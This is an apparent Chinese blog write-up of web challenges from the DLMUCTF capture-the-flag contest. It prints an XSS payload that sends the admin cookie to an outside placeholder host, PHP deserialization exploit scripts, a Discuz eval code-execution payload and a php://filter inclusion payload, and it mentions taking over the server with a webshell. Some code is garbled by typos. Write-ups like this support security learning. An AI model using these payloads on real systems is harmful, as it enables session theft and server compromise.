DLMUCTFWriteUp(Web部分)

ezxss

知识点:xss

writeup:

双写绕过过滤,获取管理员cookie,payload如下:

1
2
3
<img src="123" onerronerroror="windwindow.openow.open('http://xxx.xxx.xxx.xxx? 

cookie='+docudocument.cookiement.cookie)">

管理员登录查看留⾔触发xss

ezunserialize

知识点:php反序列化

writeup:get传参five得到源码,构造level=1的⽤户得到序列化的payload,提交后添加⽤户

成功,⽤level=1的⽤户登录,得到flag

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php 

error_reporting(0);

class importuser

{

var $username, $password, $level;

function __wakeup()

{

$this->importusers();

}

public function importusers()

{

$raw_success = array('code' => 0, 'msg' => '导入成功');

$raw_fail = array('code' => 1, 'msg' => '导入失败');

$this->conn = mysqlconn();

$sql = 'insert into user (name, password, level) values ("' . $thi

username . '", "' . $this->password . '", ' . $this->level . ')';

$res = $this->conn->query($sql);

if ($res === TRUE) {

echo json_encode($raw_success);

} else {

echo json_encode($raw_fail);

}

}

}

if (isset($_GET['user'])) {

unserialize($_GET['user']);

} else {

echo json_encode(array('code' => 1, 'msg' => '导入失败'));

}





$o = new importuser;

$o->username = 'qwer';

$o->password = 'qwer';

$o->level = 1;

$res = serialize($o);

echo $res;

Simple_api

知识点:XXE

writeup:

⼀个基本的 XXE 漏洞 读取⼀下 /flag 得到flag

Discuz!

知识点:Discuz CMS 漏洞利⽤

writeup:

⼀个 Discuz 7.2 版本的论坛 ,这个版本漏洞⽐较多,这⾥就说其中⼀种解法

利⽤Discuz 7.x/6.x 全局变量防御绕过漏洞命令执⾏,直接读取 /flag 得到flag

漏洞详情:https://www.anquanke.com/post/id/82316

payload:

1
2
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE] 
[smilies][replacearray]=eval($_POST[c]);

我的做法是利用网上写好的脚本,上传shell到服务器,后面通过shell脚本和uc_key,利用菜刀拿下服务器。

EZ_MD5

知识点:MD5函数漏洞

writeup:

MD5弱类型,恒等于(===)情况下通过传⼊数组类型的lot1和lot2得到flag

welcome

知识点:php反序列化

writeup:

在 robots.txt 中发现源码⽂件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php 

// flag in flag.php

error_reporting(0);

class Test{

public $fileanme;

public function __call($param1,$param2){

$this->readfile();

}


public function readfile(){

echo file_get_contents($this->fileanme);

}

}



class User{

public $user;

public function __wakeup(){

if (get_class($this->user) == "User"){

$this->user = new Welcome();

}

$this->user->say_hello();

}

}




class Welcome{

public function say_hello(){

echo "welcome";

}

}



$user = serialize(new User());

$string = $_GET['foo']?:$user;

unserialize($string);

构造User->user为test类对象,则可以通过反序列化User类对象执⾏__wakeup()函数 来调⽤sayhello函数

⽽Test类没有sayhello()函数,所以会执⾏__call()

进⽽会执⾏Test类的read()函数来读取⽂件内容,使fifilename等于flag.php,则可以读取

到flag.php⽂件的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php 

class Test{

public $fileanme = "flag.php";

}


class User{

public $user;11 }


$a = new user();

$a->user = new Test();

echo serialize($a);

// http://10.203.87.22:8006/?foo=O:4:"User":1:{s:4:"user";O:4:"Test":1: {s:8:"fileanme";s:8:"flag.php";}}

ezphp

知识点:⽂件包含,php伪协议

writeup:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php 

//flag in flag.php

function is_save($file){

if(preg_match('/^flag.php$/', $file)){

return false;

}

return true;

}


@extract($_GET);

if(isset($file)&&!empty($file)){

if(is_save($file)){

include($file);

}else{

echo "Stupid Hacker!";

}

}else{

highlight_file(__FILE__);

}

?>

is_save()函数限制了flag.php的直接读取,有include()函数,很明显是个简单的⽂件包

含,使⽤伪协议读取,base64解码得到flag

payload:

1
2
3
http://10.203.87.22:8004/?file=php://filter/read=convert.base64- 

encode/resource=flag.php

最后

这次比赛主要还是对一年学习的检查,基本都刷题见到过,做不出来还是自己平时学习过程中存在漏洞导致。PHP代码审计的能力还是太弱,写脚本也不大行,国庆完再慢慢补把。。。

Author: De-m0n
Link: http://De-m0n.github.io/2019/10/05/dlmuctf/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶